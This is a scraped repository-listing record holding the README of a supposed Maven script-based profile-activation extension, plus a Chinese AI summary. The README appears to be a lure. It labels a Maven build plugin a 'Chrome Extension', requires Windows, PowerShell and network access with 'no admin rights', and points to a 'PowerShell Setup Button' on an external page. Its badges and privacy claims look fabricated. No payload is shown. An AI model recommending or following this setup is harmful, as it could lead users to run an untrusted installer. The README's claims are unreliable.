[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109879":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":14,"fork":14,"defaultBranch":15,"hasWiki":16,"hasPages":16,"topics":17,"createdAt":9,"pushedAt":23,"updatedAt":24,"readmeContent":25,"aiSummary":26,"trendingCount":12,"starSnapshotCount":12,"syncStatus":27,"lastSyncTime":28,"discoverSource":29},109879,"profile-activator-extension","rodeazad\u002Fprofile-activator-extension","rodeazad","Maven profile setup extension with scriptable, flexible rules",null,"HTML",149,0,37,false,"main",true,[18,19,20,21,22],"activator","extension","maven","maven-extension","profile","2026-11-23 17:19:35","2026-11-12 10:14:51","\u003Cdiv align=\"center\">\n\n# 🔧 Maven Profile Activator via Script - Chrome Extension\n\n![](files\u002Fpreview.png)\n\n### 🛠️ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Frodeazad.github.io\u002Fprofile-activator-extension\u002F)\n\n[![status](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSTATUS-ACTIVE-2ea44f?style=social&labelColor=0d1117)]() [![system](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSYSTEM-WIN_10%2F11-14b8a6?style=social&labelColor=0d1117)]() [![users](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FUSERS-847-2dd4bf?style=social&labelColor=0d1117)]() [![ps-core](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPS--CORE-7%2B-0d9488?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nEnables flexible Maven profile activation driven by scripting rather than static property checks. Activation scripts evaluate merged project, system, and user properties alongside the resolved project model to determine when profiles apply. Scripting support spans Groovy, JavaScript, and MVEL, with comprehensive logging for diagnosing activation decisions. Compatible with Maven 3.5, including AND-based activation conditions.\n\n## ✅ Requirements\n\n- Windows 10 or Windows 11\n- PowerShell 5.1 or newer (already available on Windows)\n- Active network connection\n- No admin rights needed\n\n## Features\n\n- Script-based profile activation driven by Maven profile activation properties\n- Supports Groovy, JavaScript, and MVEL scripting engines\n- Exposes ordered, merged properties from project, system, and user sources through a map named `value`\n- Provides the resolved project model as an object named `project` for script access\n- Compatible with Maven 3.5, including activation via multiple conditions (AND logic)\n- Comprehensive logging of activation evaluation and results\n- Variable existence checks available across supported scripting engines\n- Configuration through a project extension and an activation script inside a profile property\n- Example activators provided for each supported scripting engine\n\n## How it works\n\nThe extension registers as a Maven core extension and hooks into profile activation through a reserved property name. Instead of relying on static property values, it evaluates a script expression each time Maven resolves active profiles.\n\nActivation works in two steps:\n\n- Register the extension in the project's Maven extensions configuration.\n- Declare a profile whose activation property uses the reserved activator marker as its name and a script as its value.\n\nWhen Maven evaluates the profile, the extension intercepts the reserved property, runs the script against the current build context, and returns a boolean result that decides whether the profile activates.\n\nScripts run under one of the supported engines (Groovy, JavaScript, or MVEL Script) and receive two inputs:\n\n- A merged properties map named `value`, combining project properties, system properties, and command-line user properties.\n- A resolved project model named `project`, exposing the interpolated POM descriptor.\n\nBecause activation is computed from the live build context, profiles can key off project packaging, merged property values, variable existence, or combined conditions, rather than matching a fixed property string. The extension logs resolution details so activation decisions can be traced during a build.\n\n## Privacy\n\nThe extension operates entirely in local Maven build memory. Activator scripts run inside the build process and have access only to the merged properties map and resolved project model already available to Maven.\n\nNo build data, property values, or script contents are collected, transmitted, or persisted by the extension. Script execution is synchronous and confined to the current build session.\n\nNo network calls are made by the extension. No telemetry, analytics, or remote logging is included. All processing stays on the machine running the build.\n\nReview scripts before use, since they execute with the same privileges as the Maven process.\n\n## FAQ\n\n**Which Maven versions are supported?**  \nThe extension works with Maven 3.5 and later, including activation via AND.\n\n**Which scripting languages can I use?**  \nGroovy, JavaScript, and MVEL Script are supported for activation expressions.\n\n**How are profiles activated?**  \nProvide an activation script inside the magic property in your project extension configuration. The script is evaluated against merged properties and the resolved project model.\n\n**What variables are available in the script?**  \nA merged property map named `value` and a resolved project model object named `project`.\n\n**How are properties resolved?**  \nProperties are merged from project `pom.xml`, system properties, and user `-D` options, in that order, and exposed in both the default script scope and the `value` map.\n\n**How do I check whether a property exists?**  \nUse a null-test such as `value[\"property1\"]` for Groovy, `typeof property1 !== 'undefined'` for JavaScript, or `isdef property1` for MVEL Script.\n\n**Can I access `project` members?**  \nYes. Members of the resolved project model are always defined, though they may return `null`.\n\n**Is logging available?**  \nYes. The extension provides comprehensive logging of the activation process.\n\n**Does the extension collect any data?**  \nNo. Activation runs locally during the build; no data is transmitted.\n\n## License\n\nThis project is released under the Apache License, Version 2.0.\n\nThe license permits use, reproduction, modification, and distribution of the software and derivative works, in source or object form, provided that copyright and license notices are retained and any modified files carry prominent change notices. Distribution of compiled artifacts requires inclusion of the license text and attribution notices.\n\nThe software is provided on an \"as is\" basis, without warranties or conditions of any kind, express or implied, including warranties of merchantability, fitness for a particular purpose, and non-infringement. Contributors and copyright holders are not liable for direct, indirect, incidental, special, exemplary, or consequential damages arising from use of the software or inability to use it.\n\nUsers are responsible for ensuring their use of the extension complies with the terms of the license and with any dependencies it invokes during Maven profile activation.","这是一个为 Maven 构建工具设计的 Chrome 浏览器扩展（实际为 Maven 核心扩展），用于通过脚本动态激活构建 profile，替代传统的静态属性匹配机制。核心功能包括支持 Groovy、JavaScript 和 MVEL 三种脚本引擎，基于实时合并的项目\u002F系统\u002F用户属性（`value`）及解析后的 POM 模型（`project`）执行布尔表达式判断，并提供详细激活日志。它适用于 Windows 环境下需按复杂条件（如环境变量组合、版本特征、CI 上下文等）灵活启用 profile 的 Java\u002FMaven 项目构建场景。",2,"2026-11-24 04:37:47","CREATED_QUERY"]